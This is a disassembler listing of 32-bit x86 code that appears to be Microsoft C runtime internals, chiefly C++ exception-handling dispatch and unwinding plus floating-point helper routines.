loc_424B77: ; CODE XREF: sub_424AD9+85j
pop edi
pop esi
mov ds:byte_4E2978, 0
pop ebx
pop ebp
retn
sub_424AD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B83 proc near ; CODE XREF: sub_4222C8+476p
; DATA XREF: sub_41FDE2o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_424BBE
cmp [ebp+arg_8], 45h
jz short loc_424BBE
cmp [ebp+arg_8], 66h
jnz short loc_424BAB
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4249FC
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_424BAB: ; CODE XREF: sub_424B83+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_424AD9
jmp short loc_424BCF
; ---------------------------------------------------------------------------
loc_424BBE: ; CODE XREF: sub_424B83+7j
; sub_424B83+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42490B
loc_424BCF: ; CODE XREF: sub_424B83+39j
add esp, 10h
pop ebp
retn
sub_424B83 endp
; =============== S U B R O U T I N E =======================================
sub_424BD4 proc near ; CODE XREF: sub_41FE1A+16p
push 30000h
push 10000h
call sub_4281BE
pop ecx
pop ecx
retn
sub_424BD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424BE6 proc near ; CODE XREF: sub_424C26:loc_424C4Aj
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld ds:dbl_439B88
fstp [ebp+var_8]
fld ds:dbl_439B80
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp ds:dbl_439B68
fnstsw ax
test ah, 41h
jnz short loc_424C22
xor eax, eax
inc eax
leave
retn
; ---------------------------------------------------------------------------
loc_424C22: ; CODE XREF: sub_424BE6+35j
xor eax, eax
leave
retn
sub_424BE6 endp
; =============== S U B R O U T I N E =======================================
sub_424C26 proc near ; CODE XREF: sub_41FE1A+5p
push offset aKernel32 ; "KERNEL32"
call ds:dword_42B024 ; GetModuleHandleA
test eax, eax
jz short loc_424C4A
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call ds:dword_42B020 ; GetProcAddress
test eax, eax
jz short loc_424C4A
push 0
call eax ; sub_41FE1A
retn
; ---------------------------------------------------------------------------
loc_424C4A: ; CODE XREF: sub_424C26+Dj
; sub_424C26+1Dj
jmp sub_424BE6
sub_424C26 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_424C4F proc near ; CODE XREF: sub_425221+14Bp
arg_0 = dword ptr 4
mov eax, [esi+4]
test eax, eax
jz short loc_424C9A
lea edx, [eax+8]
cmp byte ptr [edx], 0
jz short loc_424C9A
mov ecx, [edi+4]
cmp eax, ecx
jz short loc_424C75
add ecx, 8
push ecx
push edx
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_424C97
loc_424C75: ; CODE XREF: sub_424C4F+14j
test byte ptr [edi], 2
jz short loc_424C7F
test byte ptr [esi], 8
jz short loc_424C97
loc_424C7F: ; CODE XREF: sub_424C4F+29j
mov eax, [esp+arg_0]
mov eax, [eax]
test al, 1
jz short loc_424C8E
test byte ptr [esi], 1
jz short loc_424C97
loc_424C8E: ; CODE XREF: sub_424C4F+38j
test al, 2
jz short loc_424C9A
test byte ptr [esi], 2
jnz short loc_424C9A
loc_424C97: ; CODE XREF: sub_424C4F+24j
; sub_424C4F+2Ej ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_424C9A: ; CODE XREF: sub_424C4F+5j
; sub_424C4F+Dj ...
xor eax, eax
inc eax
retn
sub_424C4F endp
; ---------------------------------------------------------------------------
dw 8Bh
dd 73633881h, 374E06Dh, 83C3C033h, 4E298C25h, 0FEE90000h
db 7, 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_424CB7 proc near ; CODE XREF: sub_4250FE+31p
; sub_425413+3Bp
push 10h
push offset dword_439BB8
call sub_425F14
mov ebx, [ebp+8]
mov esi, [ebx+8]
mov [ebp-1Ch], esi
inc ds:dword_4E298C
and dword ptr [ebp-4], 0
mov edi, [ebp+10h]
loc_424CD9: ; CODE XREF: sub_424CB7+89j
cmp esi, [ebp+14h]
jz short loc_424D42
cmp esi, 0FFFFFFFFh
jle short loc_424CE8
cmp esi, [edi+4]
jl short loc_424CED
loc_424CE8: ; CODE XREF: sub_424CB7+2Aj
call sub_4254E2
loc_424CED: ; CODE XREF: sub_424CB7+2Fj
mov eax, esi
shl eax, 3
mov ecx, [edi+8]
add ecx, eax
mov esi, [ecx]
mov [ebp-20h], esi
mov dword ptr [ebp-4], 1
cmp dword ptr [ecx+4], 0
jz short loc_424D1E
mov [ebx+8], esi
push 103h
push ebx
mov ecx, [edi+8]
push dword ptr [ecx+eax+4]
call sub_425510
loc_424D1E: ; CODE XREF: sub_424CB7+50j
and dword ptr [ebp-4], 0
jmp short loc_424D3D
; ---------------------------------------------------------------------------
dword_424D24 dd 0E8EC458Bh, 0FFFFFF72h, 0E8658BC3h, 0FC6583h, 8B107D8Bh
; DATA XREF: seg001:00439BC8o
; seg001:00439BCCo
dd 758B085Dh
db 0E0h
; ---------------------------------------------------------------------------
loc_424D3D: ; CODE XREF: sub_424CB7+6Bj
mov [ebp-1Ch], esi
jmp short loc_424CD9
; ---------------------------------------------------------------------------
loc_424D42: ; CODE XREF: sub_424CB7+25j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_424D64
cmp esi, [ebp+14h]
jz short loc_424D55
call sub_4254E2
loc_424D55: ; CODE XREF: sub_424CB7+97j
mov [ebx+8], esi
call sub_425F4F
retn
sub_424CB7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
word_424D5E dw 5D8Bh ; DATA XREF: seg001:00439BC0o
dd 0E4758B08h
; =============== S U B R O U T I N E =======================================
sub_424D64 proc near ; CODE XREF: sub_424CB7+8Fp
cmp ds:dword_4E298C, 0
jle short locret_424D73
dec ds:dword_4E298C
locret_424D73: ; CODE XREF: sub_424D64+7j
retn
sub_424D64 endp
; =============== S U B R O U T I N E =======================================
sub_424D74 proc near ; CODE XREF: sub_424F1C+5Ep
; sub_425221+1B8p
push 8
push offset dword_439BD0
call sub_425F14
mov eax, [ebp+8]
test eax, eax
jz short loc_424DA2
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_424DA2
and dword ptr [ebp-4], 0
push ecx
push dword ptr [eax+18h]
call sub_41FEF0
or dword ptr [ebp-4], 0FFFFFFFFh
loc_424DA2: ; CODE XREF: sub_424D74+11j
; sub_424D74+1Bj
call sub_425F4F
retn
sub_424D74 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 4538C033h, 0C0950F0Ch, 0E8658BC3h, 6FCE9h
db 0
; =============== S U B R O U T I N E =======================================
sub_424DB9 proc near ; CODE XREF: sub_424F82+7Cp
; sub_424F82+FBp ...
push esi
mov esi, eax
mov eax, [ecx]
add eax, esi
cmp dword ptr [ecx+4], 0
jl short loc_424DD6
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov esi, [edx+esi]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_424DD6: ; CODE XREF: sub_424DB9+Bj
pop esi
retn
sub_424DB9 endp
; =============== S U B R O U T I N E =======================================
sub_424DD8 proc near ; CODE XREF: sub_4250FE+52p
push 40h
push offset dword_439BE0
call sub_425F14
mov ebx, ecx
mov edi, [ebp+0Ch]
mov esi, [ebp+8]
mov [ebp-20h], ebx
and dword ptr [ebp-48h], 0
mov eax, [edi-4]
mov [ebp-38h], eax
push dword ptr [esi+18h]
lea eax, [ebp-50h]
push eax
call sub_4201AB
pop ecx
pop ecx
mov [ebp-3Ch], eax
mov eax, ds:dword_4E2984
mov [ebp-40h], eax
mov eax, ds:dword_4E2988
mov [ebp-44h], eax
mov ds:dword_4E2984, esi
mov eax, [ebp+10h]
mov ds:dword_4E2988, eax
and dword ptr [ebp-4], 0
mov dword ptr [ebp-4], 1
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push ebx
push dword ptr [ebp+14h]
push edi
call sub_420218
add esp, 14h
mov [ebp-20h], eax
and dword ptr [ebp-4], 0
jmp loc_424F01
; ---------------------------------------------------------------------------
aLeL db '‹Eì‹',0 ; DATA XREF: seg001:00439BF0o
db 89h
dword_424E58 dd 458BE445h, 633881E4h, 75E06D73h, 0E4458B31h, 3107883h
dd 458B2875h, 147881E4h, 19930520h, 458B0C74h, 147881E4h
dd 19930521h, 458B1075h, 1C7883E4h, 0DC45C700h, 1, 45C70774h
dd 0DCh, 0DC458B00h, 0E8658BC3h, 8B144D8Bh, 45890841h
dd 0C7D8BD0h, 8908478Bh, 518BD845h, 0D4558910h, 5589D233h
dd 0C513BCCh, 348D2473h, 0D45D8B92h, 8BB3348Dh, 0C33B045Eh
dd 463B3D7Eh, 8D387F08h, 45890143h, 0D0558BD8h, 89C2048Bh
dd 5150D845h, 5756F633h, 0FFFDC2E8h, 10C483FFh, 89E07589h
dd 758BFC75h
db 8
; ---------------------------------------------------------------------------
loc_424F01: ; CODE XREF: sub_424DD8+75j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_424F1C
mov eax, [ebp-20h]
call sub_425F4F
retn
sub_424DD8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 42h
dword_424F14 dd 7D8BA8EBh, 8758B0Ch ; DATA XREF: seg001:00439BE8o
; =============== S U B R O U T I N E =======================================
sub_424F1C proc near ; CODE XREF: sub_424DD8+12Dp
mov eax, [ebp-38h]
mov [edi-4], eax
push dword ptr [ebp-3Ch]
call sub_4201DF
pop ecx
mov eax, [ebp-40h]
mov ds:dword_4E2984, eax
mov eax, [ebp-44h]
mov ds:dword_4E2988, eax
cmp dword ptr [esi], 0E06D7363h
jnz short locret_424F81
cmp dword ptr [esi+10h], 3
jnz short locret_424F81
mov eax, [esi+14h]
cmp eax, 19930520h
jz short loc_424F5A
cmp eax, 19930521h
jnz short locret_424F81
loc_424F5A: ; CODE XREF: sub_424F1C+35j
cmp dword ptr [ebp-48h], 0
jnz short locret_424F81
cmp dword ptr [ebp-20h], 0
jz short locret_424F81
push dword ptr [esi+18h]
call sub_4201C4
pop ecx
test eax, eax
jz short locret_424F81
call sub_42031E
push eax
push esi
call sub_424D74
pop ecx
pop ecx
locret_424F81: ; CODE XREF: sub_424F1C+25j
; sub_424F1C+2Bj ...
retn
sub_424F1C endp
; =============== S U B R O U T I N E =======================================
sub_424F82 proc near ; CODE XREF: sub_4250FE+Dp
push 8
push offset dword_439BF8
call sub_425F14
mov esi, ecx
mov eax, [ebp+0Ch]
mov edi, edx
mov ebx, [ebp+8]
mov ecx, [eax+4]
test ecx, ecx
jz loc_4250EC
cmp byte ptr [ecx+8], 0
jz loc_4250EC
mov ecx, [eax+8]
test ecx, ecx
jnz short loc_424FBE
test byte ptr [eax+3], 80h
jz loc_4250EC
loc_424FBE: ; CODE XREF: sub_424F82+30j
mov eax, [eax]
test eax, eax
js short loc_424FC8
lea edi, [ecx+edi+0Ch]
loc_424FC8: ; CODE XREF: sub_424F82+40j
and dword ptr [ebp-4], 0
push 1
push dword ptr [ebx+18h]
test al, 8
jz short loc_42500A
call sub_4281D4
pop ecx
pop ecx
test eax, eax
jz loc_4250E3
push 1
push edi
call sub_4281F0
pop ecx
pop ecx
test eax, eax
jz loc_4250E3
mov eax, [ebx+18h]
mov [edi], eax
loc_424FFB: ; CODE XREF: sub_424F82+D1j
lea ecx, [esi+8]
call sub_424DB9
mov [edi], eax
jmp loc_4250E8
; ---------------------------------------------------------------------------
loc_42500A: ; CODE XREF: sub_424F82+51j
test byte ptr [esi], 1
jz short loc_425055
call sub_4281D4
pop ecx
pop ecx
test eax, eax
jz loc_4250E3
push 1
push edi
call sub_4281F0
pop ecx
pop ecx
test eax, eax
jz loc_4250E3
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41F980
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_4250E8
mov eax, [edi]
test eax, eax
jz loc_4250E8
jmp short loc_424FFB
; ---------------------------------------------------------------------------
loc_425055: ; CODE XREF: sub_424F82+8Bj
cmp dword ptr [esi+18h], 0
jnz short loc_42508E
call sub_4281D4
pop ecx
pop ecx
test eax, eax
jz short loc_4250E3
push 1
push edi
call sub_4281F0
pop ecx
pop ecx
test eax, eax
jz short loc_4250E3
push dword ptr [esi+14h]
lea ecx, [esi+8]
mov eax, [ebx+18h]
call sub_424DB9
push eax
push edi
call sub_41F980
add esp, 0Ch
jmp short loc_4250E8
; ---------------------------------------------------------------------------
loc_42508E: ; CODE XREF: sub_424F82+D7j
call sub_4281D4
pop ecx
pop ecx
test eax, eax
jz short loc_4250E3
push 1
push edi
call sub_4281F0
pop ecx
pop ecx
test eax, eax
jz short loc_4250E3
push dword ptr [esi+18h]
call sub_42820C
pop ecx
test eax, eax
jz short loc_4250E3
mov eax, [ebx+18h]
lea ecx, [esi+8]
test byte ptr [esi], 4
jz short loc_4250D2
push 1
call sub_424DB9
push eax
push dword ptr [esi+18h]
push edi
call sub_41FEF0
jmp short loc_4250E8
; ---------------------------------------------------------------------------
loc_4250D2: ; CODE XREF: sub_424F82+13Bj
call sub_424DB9
push eax
push dword ptr [esi+18h]
push edi
call sub_41FEF0
jmp short loc_4250E8
; ---------------------------------------------------------------------------
loc_4250E3: ; CODE XREF: sub_424F82+5Cj
; sub_424F82+6Ej ...
call sub_4254E2
loc_4250E8: ; CODE XREF: sub_424F82+83j
; sub_424F82+C1j ...
or dword ptr [ebp-4], 0FFFFFFFFh
loc_4250EC: ; CODE XREF: sub_424F82+1Bj
; sub_424F82+25j ...
call sub_425F4F
retn
sub_424F82 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 0C033h
dd 658BC340h, 3B7E9E8h
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4250FE proc near ; CODE XREF: sub_425165+9Ep
; sub_425221+18Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
test ecx, ecx
jz short loc_425112
push ebx
push [ebp+arg_0]
mov edx, esi
call sub_424F82
pop ecx
pop ecx
loc_425112: ; CODE XREF: sub_4250FE+5j
cmp [ebp+arg_14], 0
push [ebp+arg_0]
jnz short loc_42511E
push esi
jmp short loc_425121
; ---------------------------------------------------------------------------
loc_42511E: ; CODE XREF: sub_4250FE+1Bj
push [ebp+arg_14]
loc_425121: ; CODE XREF: sub_4250FE+1Ej
call sub_41FEF7
push dword ptr [edi]
push [ebp+arg_C]
push [ebp+arg_8]
push esi
call sub_424CB7
mov eax, [edi+4]
push 100h
push [ebp+arg_10]
inc eax
push [ebp+arg_C]
mov [esi+8], eax
push [ebp+arg_4]
mov ecx, [ebx+0Ch]
push esi
push [ebp+arg_0]
call sub_424DD8
add esp, 28h
test eax, eax
jz short loc_425163
push esi
push eax
call sub_41FEC0
loc_425163: ; CODE XREF: sub_4250FE+5Cj
pop ebp
retn
sub_4250FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425165 proc near ; CODE XREF: sub_425221+1E3p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax], 80000003h
jz locret_42521F
cmp ds:dword_4E2990, 0
jz short loc_4251A1
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_41FFBA
add esp, 1Ch
test eax, eax
jnz short locret_42521F
loc_4251A1: ; CODE XREF: sub_425165+1Bj
push esi
mov esi, [ebp+arg_14]
push edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push esi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_420131
mov edi, eax
mov eax, [ebp+var_4]
add esp, 14h
cmp eax, [ebp+var_8]
jnb short loc_42521D
push ebx
loc_4251C8: ; CODE XREF: sub_425165+B5j
cmp esi, [edi]
jl short loc_42520E
cmp esi, [edi+4]
jg short loc_42520E
mov eax, [edi+0Ch]
mov ecx, [edi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_4251E9
cmp byte ptr [ecx+8], 0
jnz short loc_42520E
loc_4251E9: ; CODE XREF: sub_425165+7Cj
push [ebp+arg_1C]
mov esi, [ebp+arg_4]
push [ebp+arg_18]
lea ebx, [eax-10h]
push [ebp+arg_10]
xor ecx, ecx
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_0]
call sub_4250FE
mov esi, [ebp+arg_14]
add esp, 18h
loc_42520E: ; CODE XREF: sub_425165+65j
; sub_425165+6Aj ...
inc [ebp+var_4]
mov eax, [ebp+var_4]
add edi, 14h
cmp eax, [ebp+var_8]
jb short loc_4251C8
pop ebx
loc_42521D: ; CODE XREF: sub_425165+60j
pop edi
pop esi
locret_42521F: ; CODE XREF: sub_425165+Ej
; sub_425165+3Aj
leave
retn
sub_425165 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425221 proc near ; CODE XREF: sub_425413+93p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_4]
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_1], 0
mov [ebp+var_1C], eax
jl short loc_425241
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_425246
loc_425241: ; CODE XREF: sub_425221+16j
; DATA XREF: seg001:off_4372D8o
call sub_4254E2
loc_425246: ; CODE XREF: sub_425221+1Ej
push ebx
mov ebx, [ebp+arg_0]
cmp dword ptr [ebx], 0E06D7363h
push esi
push edi
jnz loc_4253E8
cmp dword ptr [ebx+10h], 3
mov edi, 19930520h
jnz short loc_4252DC
mov eax, [ebx+14h]
cmp eax, edi
jz short loc_425271
cmp eax, 19930521h
jnz short loc_4252DC
loc_425271: ; CODE XREF: sub_425221+47j
cmp dword ptr [ebx+1Ch], 0
jnz short loc_4252DC
mov eax, ds:dword_4E2984
test eax, eax
jz loc_4253E0
mov esi, eax
mov eax, ds:dword_4E2988
push 1
push esi
mov [ebp+arg_0], esi
mov [ebp+arg_8], eax
mov [ebp+var_1], 1
call sub_4281D4
test eax, eax
pop ecx
pop ecx
jnz short loc_4252A8
call sub_4254E2
loc_4252A8: ; CODE XREF: sub_425221+80j
cmp dword ptr [esi], 0E06D7363h
jnz loc_4253E5
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 3
jnz short loc_4252D9
mov eax, [eax+14h]
cmp eax, edi
jz short loc_4252CB
cmp eax, 19930521h
jnz short loc_4252D9
loc_4252CB: ; CODE XREF: sub_425221+A1j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jnz short loc_4252D9
call sub_4254E2
loc_4252D9: ; CODE XREF: sub_425221+9Aj
; sub_425221+A8j ...
mov ebx, [ebp+arg_0]
loc_4252DC: ; CODE XREF: sub_425221+40j
; sub_425221+4Ej ...
cmp dword ptr [ebx], 0E06D7363h
jnz loc_4253E8
cmp dword ptr [ebx+10h], 3
jnz loc_4253E8
mov eax, [ebx+14h]
cmp eax, edi
jz short loc_425304
cmp eax, 19930521h
jnz loc_4253E8
loc_425304: ; CODE XREF: sub_425221+D6j
mov esi, [ebp+var_1C]
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_C]
push eax
push esi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_420131
mov ecx, [ebp+var_C]
add esp, 14h
cmp ecx, [ebp+var_20]
mov [ebp+var_8], eax
jnb loc_4253D0
jmp short loc_425332
; ---------------------------------------------------------------------------
loc_42532F: ; CODE XREF: sub_425221+1A9j
mov esi, [ebp+var_1C]
loc_425332: ; CODE XREF: sub_425221+10Cj
cmp [eax], esi
jg loc_4253BB
cmp esi, [eax+4]
jg short loc_4253BB
mov ecx, [eax+0Ch]
test ecx, ecx
mov esi, [eax+10h]
mov [ebp+var_18], ecx
jle short loc_4253BB
loc_42534C: ; CODE XREF: sub_425221+16Ej
mov ecx, [ebx+1Ch]
mov ecx, [ecx+0Ch]
lea edx, [ecx+4]
mov ecx, [ecx]
test ecx, ecx
mov [ebp+var_10], edx
mov [ebp+var_14], ecx
jle short loc_425385
loc_425361: ; CODE XREF: sub_425221+15Fj
mov eax, [ebp+var_10]
mov edi, [eax]
push dword ptr [ebx+1Ch]
mov [ebp+var_24], edi
call sub_424C4F
test eax, eax
pop ecx
jnz short loc_425393
dec [ebp+var_14]
add [ebp+var_10], 4
cmp [ebp+var_14], eax
jg short loc_425361
mov eax, [ebp+var_8]
loc_425385: ; CODE XREF: sub_425221+13Ej
dec [ebp+var_18]
add esi, 10h
cmp [ebp+var_18], 0
jg short loc_42534C
jmp short loc_4253BB
; ---------------------------------------------------------------------------
loc_425393: ; CODE XREF: sub_425221+153j
push [ebp+arg_1C]
mov edi, [ebp+var_8]
push [ebp+arg_18]
mov ecx, [ebp+var_24]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
mov ebx, esi
mov esi, [ebp+arg_4]
call sub_4250FE
mov ebx, [ebp+arg_0]
add esp, 18h
mov eax, edi
loc_4253BB: ; CODE XREF: sub_425221+113j
; sub_425221+11Cj ...
inc [ebp+var_C]
mov ecx, [ebp+var_C]
add eax, 14h
cmp ecx, [ebp+var_20]
mov [ebp+var_8], eax
jb loc_42532F
loc_4253D0: ; CODE XREF: sub_425221+106j
cmp [ebp+arg_14], 0
jz short loc_4253E0
push 1
push ebx
call sub_424D74
pop ecx
pop ecx
loc_4253E0: ; CODE XREF: sub_425221+5Dj
; sub_425221+1B3j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4253E5: ; CODE XREF: sub_425221+8Dj
mov ebx, [ebp+arg_0]
loc_4253E8: ; CODE XREF: sub_425221+31j
; sub_425221+C1j ...
cmp [ebp+arg_14], 0
jnz short loc_42540E
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_1C]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push ebx
call sub_425165
add esp, 20h
jmp short loc_4253E0
; ---------------------------------------------------------------------------
loc_42540E: ; CODE XREF: sub_425221+1CBj
jmp sub_4254B5
sub_425221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425413 proc near ; CODE XREF: seg000:0041FF6Ap
; sub_41FFBA+12Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
mov eax, [esi]
push edi
and eax, 1FFFFFFFh
mov edi, 19930520h
cmp eax, edi
jz short loc_425430
call sub_4254E2
loc_425430: ; CODE XREF: sub_425413+16j
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_425458
cmp dword ptr [esi+4], 0
jz short loc_4254AE
cmp [ebp+arg_14], 0
jnz short loc_4254AE
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_424CB7
add esp, 10h
jmp short loc_4254AE
; ---------------------------------------------------------------------------
loc_425458: ; CODE XREF: sub_425413+24j
cmp dword ptr [esi+0Ch], 0
jz short loc_4254AE
cmp dword ptr [eax], 0E06D7363h
jnz short loc_425492
cmp [eax+14h], edi
jbe short loc_425492
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_425492
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_4254B1
; ---------------------------------------------------------------------------
loc_425492: ; CODE XREF: sub_425413+51j
; sub_425413+56j ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_425221
add esp, 20h
loc_4254AE: ; CODE XREF: sub_425413+2Aj
; sub_425413+30j ...
xor eax, eax
inc eax
loc_4254B1: ; CODE XREF: sub_425413+7Dj
pop edi
pop esi
pop ebp
retn
sub_425413 endp
; =============== S U B R O U T I N E =======================================
sub_4254B5 proc near ; CODE XREF: sub_425221:loc_42540Ej
; sub_4254E2+19p ...
; FUNCTION CHUNK AT 00428224 SIZE 00000018 BYTES
push 8
push offset dword_439C08
call sub_425F14
mov eax, ds:dword_4E2994
test eax, eax
jz short loc_4254DD
and dword ptr [ebp-4], 0
call eax
jmp short loc_4254D9
; ---------------------------------------------------------------------------
dw 0C033h
dd 658BC340h
db 0E8h
; ---------------------------------------------------------------------------
loc_4254D9: ; CODE XREF: sub_4254B5+1Bj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_4254DD: ; CODE XREF: sub_4254B5+13j
jmp loc_428224
sub_4254B5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4254E2 proc near ; CODE XREF: sub_420131+23p
; sub_420131:loc_42019Bp ...
push 8
push offset dword_439C18
call sub_425F14
mov eax, ds:off_443A70
test eax, eax
jz short loc_42550A
and dword ptr [ebp-4], 0
call eax ; sub_4254B5
jmp short loc_425506
; ---------------------------------------------------------------------------
db 33h
dd 8BC340C0h
db 65h, 0E8h
; ---------------------------------------------------------------------------
loc_425506: ; CODE XREF: sub_4254E2+1Bj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_42550A: ; CODE XREF: sub_4254E2+13j
jmp sub_4254B5
sub_4254E2 endp
; ---------------------------------------------------------------------------
db 0CCh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425510 proc near ; CODE XREF: sub_420218+45p
; sub_424CB7+62p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_420341
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42554F
mov ecx, 2
loc_42554F: ; CODE XREF: sub_425510+38j
push ecx
call sub_420341
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_425510 endp
; ---------------------------------------------------------------------------
dword_42555C dd 24748B56h, 81068B08h, 6D736338h, 831C75E0h, 75031078h
; DATA XREF: seg002:004437A4o
; seg002:00443A68o
dd 14408B16h, 9305203Dh, 3D077419h, 19930521h, 2EE80575h
dd 0A1FFFFFFh, 4E2998h, 1474C085h, 2C76E850h, 0C0850000h
dd 56097459h, 299815FFh, 2EB004Eh, 0C25EC033h, 5C680004h
dd 0FF004255h, 42B18015h, 2998A300h, 0C033004Eh, 9835FFC3h
dd 0FF004E29h, 42B18015h
db 0, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4255CA(double)
sub_4255CA proc near ; CODE XREF: sub_4203C0+7j
; sub_4203C0+38j
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push ds:dword_443A80
call sub_427AA6
fld [ebp+arg_0]
pop ecx
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
push ecx
and ax, 7FF0h
cmp ax, 7FF0h
push ecx
fstp [esp+18h+var_18]
jnz short loc_425650
call sub_427978
test eax, eax
pop ecx
pop ecx
jle short loc_425633
cmp eax, 2
jle short loc_425625
cmp eax, 3
jnz short loc_425633
fld [ebp+arg_0]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
push 0Ch ; int
call sub_427833
add esp, 10h
jmp short loc_425699
; ---------------------------------------------------------------------------
loc_425625: ; CODE XREF: sub_4255CA+3Fj
push esi
push ebx
call sub_427AA6
fld [ebp+arg_0]
pop ecx
